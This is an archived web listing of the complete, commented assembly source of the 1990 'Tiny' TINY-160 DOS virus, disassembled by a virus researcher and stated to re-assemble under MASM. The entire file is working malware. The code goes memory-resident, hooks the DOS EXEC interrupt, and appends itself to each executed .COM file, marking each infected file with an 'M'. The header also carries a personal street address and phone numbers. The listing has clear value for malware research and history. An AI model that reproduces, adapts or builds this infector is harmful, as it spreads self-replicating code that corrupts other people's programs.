home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TINY-160.ASM < prev    next >
Assembly Source File  |  1990-07-09  |  4KB  |  178 lines

  1.     page    ,132
  2.     name    TINY160
  3.     title    The 'Tiny' virus, version TINY-160
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║             The 'Tiny' Virus, version TINY-160                  ║
  11. ; ║            Disassembled by Vesselin Bontchev, July 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. seg_60    equ    600
  27. v_len    equ    v_end-first4
  28.  
  29. start:
  30.     jmp    v_entry     ; Jump to virus code
  31.     db    'M'             ; Virus signature
  32.     mov    ax,4C00     ; Program terminate
  33.     int    21
  34.  
  35. ; The original first 4 bytes of the infected file:
  36.  
  37. first4    db    0EBh, 2, 90, 90
  38.  
  39. v_entry:
  40.     mov    si,0FF        ; Determine the start addres of the virus body
  41.     add    si,[si+2]
  42.  
  43.     mov    di,offset start ; Put the addres of program start on the stack
  44.     push    di        ; Now a Near RET instruction will jump there
  45.  
  46.     push    ax        ; Save AX (to keep programs as DISKCOPY happy)
  47.  
  48.     movsw            ; Restore the original first 4 bytes
  49.     movsw
  50.  
  51.     mov    di,seg_60+4    ; Point ES:DI at 0000:0604h (i.e, segment 60h)
  52.     xor    cx,cx        ; ES := 0
  53.     mov    es,cx
  54.     mov    cl,v_len-2    ; CX := virus length
  55.     lodsw            ; Check if virus is present in memory
  56.     scasw
  57.     je    run        ; Just run the program if so
  58.  
  59. ; Virus not in memory. Install it there:
  60.  
  61.     dec    di        ; Adjust DI
  62.     dec    di
  63.     stosw            ; Store the first word of the virus body
  64.     rep    movsb        ; Store the rest of the virus
  65.  
  66.     mov    di,32*4     ; Old INT 21h handler will be moved to INT 32h
  67.     mov    cl,2        ; The vector is 2 words long
  68.     mov    ax,int_21-first4+seg_60        ; Offset
  69.  
  70. ; Move the INT 21h handler to INT 32h and
  71. ; install int_21 as new INT 21h handler:
  72.  
  73. vect_cpy:
  74.     xchg    ax,word ptr es:[di-(32-21)*4]
  75.     stosw
  76.     mov    ax,es        ; Segment
  77.     loop    vect_cpy    ; Loop until done
  78.  
  79. run:
  80.     pop    ax        ; Restore AX
  81.     push    ds        ; ES := DS
  82.     pop    es
  83.  
  84. ; Jump to program start via funny RET instruction:
  85.  
  86.     ret
  87.  
  88. int_21:             ; New INT 21h handler
  89.     cmp    ax,4B00     ; EXEC function call?
  90.     jne    end_21        ; Exit if not
  91.  
  92.     push    ax        ; Save registers used
  93.     push    bx
  94.     push    cx
  95.     push    dx
  96.     push    di
  97.     push    ds
  98.     push    es
  99.  
  100.     push    cs        ; ES := CS
  101.     pop    es
  102.  
  103.     mov    ax,3D02     ; Open the file for both reading and writting
  104.     int    32
  105.     jc    end_exec    ; Exit on error
  106.     xchg    bx,ax        ; Save the file handle in BX
  107.  
  108.     mov    ah,3F        ; Read the first 4 bytes of the file
  109.     mov    cx,4        ; 4 bytes to read
  110.     mov    dx,seg_60    ; Put them in first4
  111.     mov    di,dx        ; Save first4 address in DI
  112.     push    cs        ; DS := CS
  113.     pop    ds
  114.     int    32        ; Do it
  115.  
  116. ; Check whether the file is already infected or is an .EXE file.
  117. ; The former contains the character `M' in its 3rd byte and
  118. ; the latter contains it either in the 0th or in the 1st byte.
  119.  
  120.     push    di        ; Save DI
  121.     mov    al,'M'          ; Look for `M'
  122.     repne    scasb
  123.     pop    di        ; Restore DI
  124.     je    close        ; Exit if file not suitable for infection
  125.  
  126.     mov    ax,4202     ; Seek to the end of file
  127.     xor    cx,cx
  128.     xor    dx,dx
  129.     int    32        ; Do it
  130.  
  131.     push    ax        ; Save file length
  132.  
  133.     mov    dh,6        ; DX = 600h, i.e. point it at 0000:0600h
  134.     mov    cl,v_len    ; Length of virus body
  135.     mov    ah,40        ; Append virus to file
  136.     int    32        ; Do it
  137.  
  138.     mov    ax,4200     ; Seek to the file beginning
  139.     xor    cx,cx
  140.     xor    dx,dx
  141.     int    32        ; Do it
  142.  
  143.     mov    dx,di        ; Point DX at first4
  144.     mov    al,0E9        ; Near JMP opcode
  145.     stosb            ; Form the first instruction of the file
  146.     pop    ax        ; Restore file length in AX
  147.     inc    ax
  148.     stosw            ; Form the JMP's opperand
  149.     mov    al,'M'          ; Add a `M' character to mark the file
  150.     stosb            ;  as infected
  151.  
  152.     mov    cl,4        ; Overwrite the first 4 bytes of the file
  153.     mov    ah,40
  154.     int    32        ; Do it
  155.  
  156. close:
  157.     mov    ah,3E        ; Close the file
  158.     int    32
  159.  
  160. end_exec:
  161.     pop    es        ; Restore used registers
  162.     pop    ds
  163.     pop    di
  164.     pop    dx
  165.     pop    cx
  166.     pop    bx
  167.     pop    ax
  168.  
  169. ; Exit through the original INT 21h handler:
  170.  
  171. end_21:
  172.     jmp    dword ptr cs:[32*4]
  173.  
  174. v_end    equ    $        ; End of virus body
  175.  
  176. code    ends
  177.     end    start
  178.